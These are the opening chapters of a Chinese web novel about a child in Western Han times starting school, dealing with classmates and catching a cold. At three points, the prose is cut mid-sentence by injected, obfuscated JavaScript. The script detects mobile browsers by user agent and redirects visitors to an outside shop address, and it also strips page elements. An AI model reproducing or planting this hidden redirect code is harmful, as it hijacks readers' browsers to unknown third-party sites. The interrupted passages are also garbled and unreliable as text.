《西汉生活日常》 1. 入学 新年伊始,登基近一年的皇帝决定了自己的第一个年号——始元。 当然,这件事对韦仁而言没有任何意义,此时,他的全部心神都放在十指指尖上——韦仁死死抓住被角,坚决不让韦玄成破坏他温暖的被窝。 “你说过,我可以八岁入学,还有两年呢。” 韦玄成看着蚕蛹一般的二儿子,有些底气不足地说道:“那是我一年前说的,已经不适用于今天了。” 大概是被韦玄成不要脸的话震惊到了,被窝里静了几息才传出闷闷的声音:“言不信者行不果。” 韦玄成揪住被子的手一顿,然后更加用力:“你想说我说话不算话,就不能叫你起床?谁教你的?典用错了!咱们是儒者,讲究的是‘言不必信,行不必果(1)’。” 韦仁:…… 果然不能随便晃荡半瓶子的醋,韦仁被说得十分羞耻,只好继续闷不吭声地和韦玄成抢夺被子。 韦仁只是个六岁的孩子,就算韦玄成是个“弱鸡”,拼力气他也是拼不过的,眼看被窝要失守,韦仁忍不住再次开口:“阿母教我的。”这就是在冤枉赵氏了,赵氏只是给韦仁读了《修身》,压根儿没给他解释过文义,完全是韦仁自己猜的。 韦玄成听了,不仅没停手,反而笑了,笑得幸灾乐祸:“嘿,就是你阿母让我过来送你去学馆的。” 随着韦玄成话音落下,被子也终于脱离了韦仁的小手。韦仁鹌鹑似地趴跪在床上,还因为突然而来的温差打了个激灵,韦仁没好气地反驳韦玄成:“不可能!” “你去问你阿母。” 被子被韦玄成抱在怀里,韦仁抢不过来也不打算乖乖就范,歪着头发乱翘的脑袋,一对黑漆漆的眼珠子控诉地看着韦玄成。 八岁上学的约定是韦仁用给韦玄成保密私房钱的保证以及十次捶背服务换来的,韦仁轻易不想威胁韦玄成,但韦玄成也不能这么理所当然地无视这个约定。 韦玄成被二儿子这样看着,刚刚坚硬的心又有些虚了,沉默片刻,韦玄成终是退了一步,放软了声音哄道:“你听话去上学,我给你弄好吃的。” “多好的?” “特别好的。” 父子二人谈好条件,韦仁总算心甘情愿地起床了。 韦玄成虽然说话不算话,却也没骗韦仁,韦家诗礼传家,韦玄成却不强求自己的孩子提前进学,韦仁入学的事确实是赵氏临时决定的。 果然,吃早食时,赵氏搅着酱汤,慢条斯理地对韦仁说:“你几个从兄都是四岁启蒙,我也不要求你变回四岁,就和你大兄一样,六岁启蒙也使得。”说完,看一眼正在喝粟米粥的大儿子,赵氏问道,“四郎,你也觉得早进学比晚进学好吧?” 韦世然被噎了一下,艰难地咽下粟米粥,借助食物带来的踏实感,韦世然肯定地回应道:“好!”末了还补充了一个现想出来的理由,“我那时候年岁最小,就算背不出文章,先生也不会训我。” 赵氏对大儿子露出一个满意的微笑,然后就炯炯地看着二儿子,问道:“五郎,阿母和你大兄总不会害你,昨日我已托你三伯母给戚先生送信,今日就让你阿翁带你去拜见先生,可好?” 可好?他若说不好,可能就真的不好了。 于是,韦仁就在韦玄成鄙视的目光下,十分干脆地点了下头:“好,我听阿母的。” 韦仁有些奇怪赵氏为什么突然想让他去上学,明明不久前赵氏还说要带他出城去巡视田地呢。 不过,韦仁没有问赵氏,因为坐在他对面的韦元茹正在对他眨眼,那样子一看就是个知情者。 待到吃完早食,姊弟三人一起走出饭厅后,韦仁才凑到韦元茹身边,问道:“大姊,阿母为何突然想我去上学?” 韦元茹摇头:“我不知道。” 韦仁:……那你对我眨眼是个什么意思? 韦元茹接收到弟弟的“腹诽”,很是不以为然:“阿翁去叫你,你才肯起床,刚刚你若还问东问西的,阿母定会不悦。”韦元茹觑一眼韦仁以及走在后面竖着耳朵“偷听”的韦世然,眼珠一转,说道,“不过我能猜到一二分,你们想不想知道?” 韦仁和韦世然双双点头。 韦元茹竖起食指:“一人给我劈一束绣线,我就告诉你们。” 韦仁转头就要走,韦世然扯住韦仁的手,旁若无人地说“悄悄话”:“别走,我想听。再说,大姊一定要让咱们给她劈线,你还能不做?” 听韦世然这意思,他们好似还赚了?韦仁一时竟找不到反驳的理由,只得停下了脚步。 韦元茹见弟弟们识趣,也没卖关子,说道:“阿母怀孕了,女人怀孕后特别善变,一会儿一个主意的。” 韦仁和韦世然突然得知这个消息,先是愣住,反应过来后,异口同声地说: “我不想要弟弟了!” “几个月了?”韦仁说完又转头瞪着韦世然,“大兄,你什么意思?” 韦世然和韦仁一个赛着一个嗓门大,韦元茹挥挥袖子:“做什么那么大声,小心惊到胎神。”韦元茹嘱咐道,“梅先生说阿母怀孕才两个月,这事还不能告诉外人。还有,别管是弟弟还是妹妹,他出生前,谁也不许惹阿母生气,不然我是要揍人的,知道不?” 韦世然盯着韦元茹挥舞着的拳头,缩起脖子,低声嘟哝:“姊夫的眼睛是不是瞎了。”大姊哪里温柔了? 韦元茹斜韦世然一眼:“四郎,你说姊夫怎么了?” 韦世然重新仰起脖子,闭着眼睛大声说:“我说,姊夫知道大姊这样孝顺,肯定会更喜欢你!” 韦元茹姣好的面容霎时间染上一抹红霞,韦元茹嗔怪地瞪了韦世然一眼,一丝笑意却自眼角溢出:“尽会胡说。”说完,韦元茹的视线落到韦仁身上,“五郎,庆贺你进学,我送你一样礼物,笔刀和算筹,你喜欢哪个?” 韦仁想了想,说道:“金笔刀和铜算筹,我要笔刀,铜笔刀和金算筹,我要算筹,若都是金的,哪个重我要哪个,若都是铜的……” 韦元茹挑眉:“都是铜的,怎样?” “大姊你选个重的,换算成五铢钱给我吧。” 韦世然抱着肚子大笑,韦元茹笑骂:“笔刀是铁的,算筹是木的,你爱要不要!” 韦仁很果断:“陌生人才要选择,我是你亲弟弟,两个我都要!” “滑头。”韦元茹拂袖转身,走前留下一句,“一会儿让弄荷儿给你送去。” 从韦家坐牛车到学馆要两刻钟,父子三人到达学馆时尚未到卯正,韦玄成先把韦世然赶去课室,然后才带着韦仁去拜见戚先生。 戚先生,名远,是韦仁三伯母的表兄,韦家父子并没有按照亲戚关系称呼,而是尊称戚远一声“先生”。 韦玄成替韦仁递上束脩后,对戚远揖礼:“韦仁以后就劳先生多费心了。” “在少翁面前安敢称‘先生’。”戚先生对韦玄成十分客气,回礼后方才应道,“少翁放心,我定会好好教导韦仁,不知韦仁在家中可有提前启蒙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13108047|138206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 话是对韦玄成说的,戚先生的眼睛却看着韦仁。 韦仁在脑海中回忆起真正清醒的这一年里他做过的功课,唯一拿得出手的好像只有学会了纯正的驺县口音。 韦仁悄悄瞅韦玄成一眼,韦玄成心有灵犀地和韦仁对上眼,然后丢给他一个“你敢丢脸就想想你阿母”的眼神。 好吧,其实为了学习驺县的口音,韦仁经常听书和跟读,小书房里的书他全都“读过”。 韦仁却不能这样说,根据他上一世大大小小的面试经验,面试官总会顺着应聘人的话问一些问题。若此时他说昨天跟着赵氏读了《修身》,哪怕戚先生认为他是在吹牛,多半也会顺着他的话问一问君子之道。 早上已经在韦玄成手里吃过一次亏,韦仁十分保守地回答道:“回先生,我只和家母学过《仓颉篇》。” 《仓颉篇》是识字书,大部分孩子启蒙都用这书,戚先生也不意外,捡了几句让韦仁背诵。 戚先生选的句子均匀地分布在书中的前中后篇,韦仁始终接得顺溜,戚先生不免问道:“可是全文都背会了?” “是。” “那你背来听听。” 韦仁凝神沉心后便开始背诵:“仓颉作书,以教后嗣。幼子承诏,谨慎敬戒……” 《仓颉篇》3000多个字,韦仁足足背了一刻钟才背完,他中途看了戚先生好几眼,结果也不知道戚先生是不是没看见,还是看见了只当他心虚只等着他打磕绊,一直也不叫停,韦仁只好从头背到尾。 背完最后一句,韦仁咽了一口唾沫才扬头看向戚先生:“先生,我背完了。” 戚先生十分满意,六岁能背诵《仓颉篇》全文的孩子也不多呐,戚先生不免对韦仁多了些期待,问道:“可知仓颉为何人?” “阿母说字都是仓颉造的,其他我就不知道了。” 戚先生莞尔:“无妨,先生会教你的。” 之后,戚先生又问了韦仁一些算术和常识性的问题,就结束了对韦仁的考教。 韦玄成跟着师生二人去了课室,看了一眼正在装模做样读书的大儿子,又看了一眼被安排与一个面容憨厚的男孩子坐同桌的二儿子后,就放心地骑马回家了。 用余光目送走韦玄成后,韦仁的目光转移到身边的同窗身上:脸色稍显苍白,但脸颊上的肉是实实在在的,身上的外袍虽是素色,但面料看起来比自己平时穿得要好,可见这小白胖子家底不薄,家中多半是行商的。 韦仁观察小白胖子时,小白胖子也在打量韦仁,双方视线对上后,小白胖子率先露出一个缺了两颗下门牙的笑容,眼睛眯得只剩一条缝儿:“我叫熊大宝。” 韦仁立刻露出一个更大的笑容以掩饰差点儿脱口的笑声:“我叫韦……” “仁”字才出了个气音,就被韦仁给吞回去了,因为熊大宝左边鼻孔里突然流出一条清清亮亮的鼻涕。 熊大宝用力吸了口气,发出一股让人一言难尽的声音,然后,还不等韦仁重新介绍自己的名字,熊大宝鼻孔里的鼻涕又流出来了。 这次熊大宝没再吸气,而是任命般地等鼻涕流进嘴里,然后咕咚一声给咽了。熊大宝吃完流进嘴里的鼻涕不算,还用手指捅了捅鼻孔,然后行云流水般地将手指塞进了嘴巴里。 韦仁:…… 熊大宝错误解读了韦仁的眼神,有些不确定,又很热情地问:“你也想尝尝?” 韦仁:“不要,谢谢,你的手能不能离我远点儿?” 2. 朝元馆 拒绝熊大宝的好意后,韦仁打开书篮将书简拿到书案上开始自习。 韦仁之前因为莫名其妙来到这么个地方很是颓废了一段时间,对于生活实在热爱不起来,更别提学习了。只是如今既已进学,韦仁也不打算敷衍,主要是他也没有敷衍的本钱。 算术和常识课且不说,仅仅是识字课对于韦仁而言就算半个全新的领域——不止字音,文字的字形也与韦仁熟识的相差甚远,即使是他学过的医古文在这时的用处也不大。 可以说,在没有认真学字的情况下,韦仁能准确写出五分之一的常用字都算他这一年的书没白读。再加上字词的起源、反语和训诂,以及韦仁必须掌握的毛笔字,韦仁觉得文盲的帽子他至少还得顶个一年半载。 朝元馆中一共26个学生,戚先生按照学生的学习进度对学生分批教导。 韦仁和同桌的熊大宝自成一批,韦仁这时候才知道,熊大宝也只比他早进学半个月,戚先生给韦仁讲课时,熊大宝再听一遍也只当是复习了,反正他的进度也没比韦仁快多少。 朝元馆的课程自卯正二刻起至午时终,中间休息一个时辰,然后从未时起上到申时初刻下课。 学生们会留在学馆里吃午食,粮食则是各家提前交给学馆的,由戚先生的妻子统一做给学生吃。 上午的课一结束,学生们全都端着食盒往厨房跑。韦世然路过韦仁身边时,见他还在慢条斯理地收拾书案,急急刹住脚步。 韦世然弯腰从韦仁的书篮里抄出他的食盒与他自己的一起夹在左手臂弯处,右手拉住韦仁的手,一用力就把韦仁从蒲团上拽起了身,二话不说窜出课室。 韦仁起身时姿势不对,还被书案的角磕了一下,一边跑一边对韦世然抱怨:“大兄,你跑什么?” 韦世然头也不回地教育弟弟:“吃饭不积极,思想有问题!” 韦仁闻言,差点儿左脚拌右脚,后面的路程专心奔跑,安静如鸡。 二人跑到厨房时,打饭的队伍已经排了十几个人,韦世然瞪一眼拖后腿的弟弟:“再这么慢,下次不拉你了。” 韦仁瞥一眼正站在第一位的卫询和第二位的秦宁双,这俩都是韦世然的好友,卫询正冲着他们挥动手里的食盒,笑容十分得意。韦仁看得纳闷,问韦世然:“只有粟米饭和蒸芥菜,排第几吃的还不一样?” 韦世然对卫询挥挥拳头,看样子倒不是生气,反而有些鼓励的模样,嘴上则教育弟弟:“你个傻蛋,要是都一样,我会拉着你跑?” 韦仁:……我是傻蛋,你是大傻蛋吗? 念在大兄干饭也不忘他的情谊上,韦仁没骂回去,而是转着脑袋观察厨房。 厨房比韦仁想象中的大,除了师娘做饭以及堆放杂物的地方,厨房里还专门隔出一块空地,摆放有四个长方形的矮案以供学生们吃饭,矮案四周也有草编的蒲团。 按理说,一桌怎么也会坐六、七个人,但其实是坐不满的,因为总有学生会端着食盒蹲到院子里对着树、对着屋檐、对着蚂蚁……对着一切他们感兴趣的东西去用餐。 韦世然等韦仁打完饭,就带着他走到一个人最多的木桌旁,桌上另外三面已经坐了六个人,此时,除了韦家兄弟外,还有两个学生也端着食盒站在一旁,正对着空出来的座位虎视眈眈。 两个人的脸色都是臭臭的:“我们先来的,凭什么不能坐?” 秦宁双竖着右手大拇指指向自己:“我们比你们先,这里是给世然和他弟占的。” 坐在秦宁双旁边的卫询也说:“我们一直是一起的,有本事下次你们跑得比我们快。” 臭脸之一:“卫询,你前几天还说不和他们俩往来呢!” 卫询听到这话,想起三人休沐时丢松塔砸到他二兄,秦宁双和韦世然双双跑路害他独自被二兄胖揍的事,眼神不禁有些游移。 韦世然一看友谊的小船有要翻船的迹象,重重将食盒放在案桌上,发出很响的声音,引回卫询的注意力后才对那二人说:“先生说过,君子坦荡荡,卫询是君子,心地宽广,他早就不生气了。” 秦宁双附和:“卫询最大气。” 卫询挺挺胸膛表示没错:“我们是好朋友!” 臭脸二人组看白痴一样看了卫询一眼,最终放弃争辩,悻悻离开。 韦世然招呼韦仁:“快坐。” 韦仁在韦世然身旁坐好,打量一下左手边的戚丰和王弃疾,又看看坐在他对面的熊大宝和孙赏,开口问韦世然:“干嘛都抢这个桌案?在这桌子上吃饭比较香吗?” 除了熊大宝,其他所有人听到这话都对韦仁重重点头:“香!” 熊大宝嘿嘿一笑,将他自己的食盒——不是盛着学馆今日伙食的食盒,是另外一个外表看起来一模一样的食盒——的盖子打开了。瞬间,肉香绕梁,八个裹着浓浓酱汁的肉丸子整整齐齐躺在食盒里。 学生的家境大都不差,每天实实在在的三顿饭已经超越九成九的人,但也不是每个人天天都能吃到肉的。而且肉丸子由内而外散发出的酱香着实诱人,韦仁自认不算馋肉,嘴巴里也开始疯狂分泌唾液。 韦仁以为熊大宝能分出一半肉丸给大家就算是超级大方了,毕竟肉丸也不大,结果熊大宝往自己的粟米饭加蒸芥菜的食盒里夹了一个肉丸子后就把肉丸食盒推到了桌子正中间。 六双筷子齐刷刷伸向肉丸食盒,又以火中取栗般的速度各自夹走了一个。 韦仁:…… 熊大宝在韦仁愣愣的目光中略略探身将食盒推向韦仁:“一人一个。” 面对熊大宝如此盛情,韦仁觉得再次拒绝不太好,而且他觉得,再不接受,肉丸子就要被其他人的视线给烤焦了。 韦仁没用筷子,而是拿起食盒中的八角漆盘,把最后一个肉丸子直接倒进自己的食盒中。将食盒推还给熊大宝后,韦仁对熊大宝笑了笑:“多谢你啊。” 熊大宝似是比韦仁还高兴,再次对韦仁露出缺了两颗牙的笑容:“这是狗肉的,你喜欢我下次再带。” 韦仁点点头,别管啥肉,这年头都是金贵东西,听韦玄成说,狗肝还是古代八珍之一呢。 不过韦仁也没有立马开吃,这一路被韦世然带着,他都还没有机会洗手。如今的卫生条件肯定不能和上辈子相比,但经过上一世各种病毒的洗礼,不到万不得已,韦仁吃饭前是一定要洗手的。 韦仁站起来前还看了一眼正举着筷子准备开吃的韦世然,韦世然察觉到弟弟的目光,先是假装无视,但也只扛了几息的时间,便认命地站起身:“知道了、知道了。” 正把肉丸子塞进嘴里的卫询疑惑地看向韦世然,含糊地问:“你们干什么去?” “洗手。”韦世然看一眼缺了一半的肉丸子,叮嘱卫询,“帮我看着!” 韦世然带着韦仁在厨房里找了一圈儿才找到一个盛水的陶罐,韦世然对还在给其他学生打饭的师娘大声喊道:“师娘,我用些水洗手,可以吗?” 师娘头也没抬地喊回来:“出去用,别把水洒在厨房里!” 韦世然打量着陶罐的大小,自忖一个人是抬不动的,再看看比自己矮大半个头的弟弟,只好把秦宁双喊了过来,两个人一起半搬半挪地把陶罐移到了院子里。 然后,韦世然和韦仁就用葫芦瓢盛水,互相帮对方浇水洗手。 秦宁双一边抱怨韦家兄弟事多,一边伸出手表示要洗手:“我也出力了。” 吃完饭后,学馆里的学生就分散成数个小群体开始玩儿游戏,因为不止一拨人想要学馆中央最大的空地,大家还要为争夺场地抽签。 卫询手气不错,挥舞着短树枝宣布:“我们赢了!今天玩儿牵钩!”牵钩就是拔河。 抽中长树枝的学生瞪了卫询一眼后就和同样有些失落的几个同伴抱着鞠球走开了。 这些人一走,卫询身边迅速聚拢起一群人,刚刚还为卫询鼓劲的小伙伴无缝衔接地转换立场,开始争夺队长的位置,队长也是由抽签决定的,最后是秦宁双和孙赏双双抽中了短树枝。 两个队长开始争夺自己属意的队友,从这里开始,比拼的就不是运气而是实力了——秦孙二人先比了一场角抵,秦宁双胜出,所以秦宁双先选人,孙赏后之,二人依次轮换着选人,每次只能选一人。 因为以往游戏的人数 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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韦仁也确实只玩儿了一次,哪怕韦世然和他保证,只要自己、卫询或者秦宁双能抽中队长就一定把他拉进队伍,韦仁也没有丝毫动摇。 和大兄保证回家不告状后,韦仁拍拍屁股回了课室——他得睡午觉。 躺在两个蒲团拼成的垫子上时,韦仁只在脑海里闪过“明天要带个毯子过来”的念头后就陷入了沉沉的梦乡。 大儿子叫喊着“我们赢了!你们下蹲二十次!”、二儿子因为睡着有些冷又往大氅里缩了缩时,韦玄成正在家里安慰赵氏,劝她再用些午食。 “五郎有四郎照顾,你不用担心他,你现在最该顾着的是你自己和你肚子里的这个。” 赵氏有些伤心:“我也是一时被三嫂的话给激着了,她外甥年少好学,与五郎有什么关系?我乐意让五郎多快活两年,与他人有什么关系?” “没关系、没关系,你愿意让五郎去上学就让他去。”韦玄成柔声安慰,“五郎比四郎更喜欢读书,早上我送他去上学,他看着多有精神啊,肯定特别高兴。” “真的?他平日间不睡到辰正可不乐意起。”说完,赵氏的眼圈儿甚至都有些泛红了,“四郎都不喜欢学馆里的饭食,五郎肯定更不习惯,你还不同意给他们带饭。” 韦玄成赶忙抚着赵氏的腹部,解释道:“儿子不能养得太娇,再说,学馆里的饭菜虽不如家里精细,也饿不到他们,这次若是个小闺女,我们好好疼她,不让她吃一点儿苦。” 赵氏嗔了韦玄成一眼,伸手覆盖在韦玄成的手背上:“我倒希望这是个儿子,一想到二娘要嫁去李家,我就舍不得。”说到这里,赵氏突然想起一事,“对了,给二娘找的通武艺的僮使可有眉目了?” “找到了,过些日子就能带回来。”话题渐渐转到韦元茹的嫁妆上,韦玄成趁机又哄着赵氏吃了些东西,赵氏的心情总算是回转了。 然而,赵氏的好心情只保持到两个儿子归家那一刻。 看着站得远远的,衣服上明显蹭了土,鼻头还红红的韦仁,赵氏满脸寒霜地看向韦世然:“你让你弟弟被人欺负了?” 3. 着凉 韦世然正奔着韦元茹跟前的奶糕冲去,听到赵氏的问题,脑袋还没反应过来,直觉已经上线,韦世然双手摇出残影,坚决拒绝背锅:“五郎没被欺负!” 赵氏见大儿子不像撒谎的样子,将起未起的身子重新坐回榻上,问道:“那五郎怎么哭了?” “五郎没哭呀,五郎你什么时候哭了?”不会是因为牵钩时没被选上才哭的吧?想到此,韦世然惊恐地看向弟弟,生怕他下一刻就要张嘴告状。 韦仁不清楚韦世然丰富的内心,指着自己的鼻子对赵氏解释:“阿母,这是擦鼻子擦的,不是哭的。” 韦世然“噢”了一声,也明白过来母亲的意思,松气之余还帮韦仁补充:“五郎下午开始流鼻涕,熊大宝天天流鼻涕,他和五郎中午抱在一起角抵,估计那时染给五郎了。”韦世然心有余悸外加怜悯地看着自家弟弟,“以后还是得离他远一点儿……五郎,你不会也变成鼻涕虫吧?” “你中午才吃了熊大宝的肉丸子,晚上就叫他‘鼻涕虫’。”韦仁毫不客气地反驳韦世然,“背后说人,还是同窗,人家还比你小,大兄,我鄙视你。” 韦世然被韦仁说得有些恼,又有些虚,干巴巴地辩解:“又不是我先叫的……我就在家里说。” 韦仁不说话,只直勾勾地盯着韦世然,满脸都是不认同,旁边的赵氏和韦元茹其实听得有些糊里糊涂的,所以也只沉默地看着韦世然。 要不说“吃人嘴软”的警示能流传千百年呢,韦世然或许还不明白这其中的道理,但想起午食时吃到的几次“加餐”,韦世然纵有些不服气,最终仍服了软,悻悻道:“我以后不说就是了,五郎,你别和戚先生告状。” 听到韦世然提到戚先生,韦仁意识到,“鼻涕虫”之类的外号在学馆里也不是秘密,没人明面上这样称呼熊大宝,多半是被戚先生压制了。 韦仁正想着,看到韦世然避着赵氏的方向,冲着自己挥拳头,用口型表示:告状,打你! 韦仁指着自己,用口型表示:我告状。又指回韦世然,用口型表示:先生打你。 韦世然:…… 赵氏见两个儿子光忙着打哑谜了,重重“嗯”了一声。 兄弟二人连忙回神,韦仁这才想起最初的话题,与赵氏解释:“熊大宝是我的同桌,他可能有鼻鼽,我流鼻涕和他没关系。我中午在课室里睡觉,有些着凉,阿母不用担心,不严重的。” 韦元茹这时已经走到韦仁身旁,伸手盖住韦仁的额头,回头对赵氏说:“不烫。” 赵氏怒气稍减,望着才走进前堂的韦玄成,说道:“阿郎,找梅先生过来给五郎看看吧,他似是染了风寒。” 韦玄成走到韦仁身侧,抬手按住韦仁的脑袋,对赵氏说:“已经去请了,我先带五郎回去君子院,你们几个都不用过来,免得过了病气。” 梅先生已过知命之年,四年前逃荒至驺县时,身边只有一个生着病的小孙子。当初,因为自家二儿子迟迟不肯开口说话,身体也不好,韦玄成对心焦孙子的梅先生很有些感同身受,便收留了祖孙二人。因为梅先生懂些医理,韦玄成遂聘了梅先生做门客,梅家祖孙便一直留在了韦家。 梅先生带着孙子梅乘过来时,韦仁正打开书篮,将一沓绸帕交给韦玄成。 韦玄成伸手捻了捻帕子,质地紧密,触感细滑,是上等的料子:“哪里来的?”韦仁的书篮是他亲自准备的,里面有什么韦玄成还是知道的。 “熊大宝借给我擦鼻涕用的,阿翁,你帮我交给白婶子,她洗绸料洗得最好。” 说来,熊大宝的家长真是阔气,给熊大宝准备的“鼻涕纸”竟然这么高档。可惜,熊大宝说擦多了鼻子疼,宁愿吃鼻涕也不肯用。 韦玄成迅速收回手指,反手拍了韦仁脑门一记:“你倒是会指使你阿翁。” 可能是因为韦玄成手掌带起的风,韦仁的鼻子升起一阵痒意,韦仁顺手抄起韦玄成的袖子,盖住鼻子就打了个大大的喷嚏。 韦玄成额头青筋凸起:“韦仁,你是不是找揍?” 梅先生进门时看到的就是这一幕,笑劝道:“五郎君正病着,主君也远着些,免得过了病气。” 韦仁起身对梅先生行礼,又和梅乘打了声招呼,顺势走到榻边,远离自家亲爹。 韦玄成用食指点点韦仁让他老实些,转头对梅先生说:“我看他精神得很。” 梅先生一边给韦仁把脉,一边问道:“五郎君,除了流清涕,可有其他哪里不适?” “没有,头不疼,嗓子不疼,最开始流鼻涕时偶尔会感觉冷,现在已经没什么感觉了。” 与后世不同,这时候很少有大夫只摸寸口脉的,有许多大夫会用人迎寸口脉法,也有大夫遵照三部九候法,颈、手、脚都要摸一遍,梅先生就属于最后这种。梅先生摸完脉,又让韦仁伸舌头:“五郎君,张嘴,啊~,我看看你的舌头。” 韦仁乖乖伸出舌头。 梅先生看完了韦仁的舌头,才对韦玄成说:“伤寒,我摸着五郎君的体温比平日还是高了一点儿,倒是不严重。五郎君就寝前用热水泡泡脚,我再让大郎去炒些姜,用纱布裹了,放在足衣里,五郎君晚上穿着,这样两三天内就能痊愈。” 韦玄成听梅先生如此说便放了心,看一眼袖子,又故意问道:“不用吃药吗?” 梅先生笑道:“暂且不用,主君若是不放心,可以让五郎君喝些姜汤。”说完,又叮嘱韦仁,“如今天气还有些凉,就算午间阳气盛,也不要在太过空阔的地方睡觉了,容易着凉。” “谢谢梅先生,我知道的。”韦仁也没想到自己会这么脆。 韦玄成把梅先生祖孙送走后,回过头就刺了韦仁一句:“你可真是出息,上学第一天就要请假。” 韦仁哼哼:“中午不睡觉,下午会崩溃。” “崩溃”个屁!也不知道哪里听来的词,就会乱用。腹诽归腹诽,遇上个惫懒又体弱的儿子,韦玄成也是无可奈何,想了片刻,说道:“我和戚先生说一声,以后你去他那里午休。” 韦仁有些犹豫:“会不会太过麻烦戚先生?” “你明白就好,以后对先生要更加尊敬,知道吗?” 韦仁这回乖乖应了。 韦玄成看韦仁坐在榻上一副下一刻就要倒下去的样子,又说:“你的病又不重,既然已经进学,今天也要把功课做完,快别坐着了。” 韦仁跳下榻,走到书桌前,一边翻找空白竹简准备写今天的大字,一边回答韦玄成的话:“孔夫子说过,‘工欲善其事,必先利其器’,我就算病得不重,也是病着,等休息好再读书,学习效果肯定更好。阿翁,我现在听你的话,不是我认同你的话,而是我孝顺你。” “看来《论语》没白读。”韦玄成又气又笑,“那你知不知道什么叫‘朽木不可雕,粪土之墙不可杇’?午休的事就算了吧?” 韦仁掀起眼皮看韦玄成:“阿翁,你可不是这样和大兄说的。” “我说什么了?” “你说夫子教训宰予不是因为他昼寝,而是他言行不一。”说起来,孔老夫子的嘴也够损的。 韦玄成一噎,干咳一声:“记性不错。” 韦仁心中得意,提醒韦玄成:“所以,阿翁,说话要算话,你说要给我的特别好吃的东西在哪里?”韦仁扬起下巴的小模样十分得瑟,只是,只得瑟了这一句,又有鼻涕流出来。 韦仁连忙伸手去拽韦玄成的袖子,韦玄成这次反应迅速,急退两步,没有让韦仁得手,不过还是掏出自己的帕子丢给韦仁:“快擦擦,我让人去给你熬姜汤,你好好写字。” 韦仁声音嗡嗡地提醒:“好吃的。” “过些日子就给你。” 韦仁又提醒:“白婶。” 韦玄成转身抓起韦仁带回来的那一沓鼻涕绸帕,头也不回地往外走,心里不住祈愿妻子这次一定不要再生个小子,真是太糟心了。 结果身后又想起二儿子的声音:“阿翁,我听大姊说阿母怀孕了,你以后每个休沐日都会回来吧?” 韦玄成回过头,表情很是嫌弃:“就看你大兄那不稳重的样子,再看你这娇贵的身子,我怎么放心把你们阿母交给你们照顾?” 韦仁低下头开始磨墨,不理会亲爹。 韦玄成的唇角扬了扬,这回是真的走了。 虽说韦仁的病不重,不过,一来韦仁年纪小,二来风寒在任何时候都不能被小觑,韦仁的晚食是在自己的卧房里用的,韦玄成陪韦仁用完餐后还检查了一下他的功课。 韦玄成眯着眼睛仔细辨别了一遍韦仁那些快涂成一团的大字,确认没有错字后难得没有打击他,只是吩咐道:“明日起,除了功课外,每日再练习二十个大字。” 韦仁转转手腕没说话。 韦玄成拍了韦仁的手背一下:“装什么样子?先写十日看看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13108049|138206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,若真的累我再给你减量。”写字十分耗费腕力,孩童骨头软,韦玄成自己受过这方面的苦,对自家孩子就不想强求。 韦仁这才应了,装模做样地解释道:“我不是想偷懒,只是想给阿翁捏捏肩。” 韦玄成哭笑不得,夹住韦仁的胳肢窝,将他拎到榻上,之后,一屁股坐在榻沿上:“捏吧。” 韦仁给韦玄成捏了一刻钟,梅乘就拎着热水桶和药箱来了:“五郎君,你泡完脚,把姜包放在足衣里,踩在脚心那里就好了。” “大乘,你怎么还拎了热水来?” 梅乘从药箱里掏出姜包:“姜包要在东厨做好,我就顺手提过来了。五郎君,你已经用完晚食了吧?” “吃完好久了。”韦仁跳下地,把墙角木柜上的杉木足盆拖到榻边。 韦玄成没理两个小的忙忙碌碌,拿着姜包看了看,问梅乘:“这姜包贴久了,会不会起疹子?” 梅乘停下往盆里倒水的动作,对韦玄成解释:“我阿公说,五郎君年纪尚幼,皮肤娇嫩,贴半个时辰即可,家主放心,我会看着五郎君用的。” 韦玄成颔首:“梅先生仔细。” 韦玄成离开后,梅乘自在许多,等韦仁泡好脚、穿好垫着姜包的足衣后,梅乘拿了一床被子让韦仁盖在脚上,还准备顺手帮他把洗脚水倒了。 韦仁阻止梅乘,指着门边的一根绳子,说道:“让毋忧进来收拾,你把其他人的事做了,让别人做什么?” 梅乘走到门边拽了拽绳子,绳子牵引着外面的铃铛发出叮叮当当的响声。不一会儿,毋忧走了进来,手脚麻利地将韦仁的洗脚水连同梅乘带来的木桶一同提走了。走之前,毋忧还向梅乘表示歉意,说他刚刚去取东西,没能帮把手。 梅乘坐到榻的另一边,好奇地问道:“学馆里没人欺负你吧?我以前听四郎君说,学馆里还有位县长家的郎君。”梅乘对官吏的印象一向不好,虽然孙县长在任期间也没做什么伤天害理的事,但梅乘依然觉得县长家的郎君有可能做出欺辱同窗的事情。 听梅乘把孙赏当成个例子拎出来,韦仁也不以为意,韦世然和孙赏是打过架的,不过十岁上下的男孩子打个架啥的简直再正常不过,韦仁只笑着摇头:“没有,有我大兄在呢。” “那就好。”梅乘又说,“我给你把把脉呗?脚不方便,我摸摸人迎和寸口就行。” “好啊。” 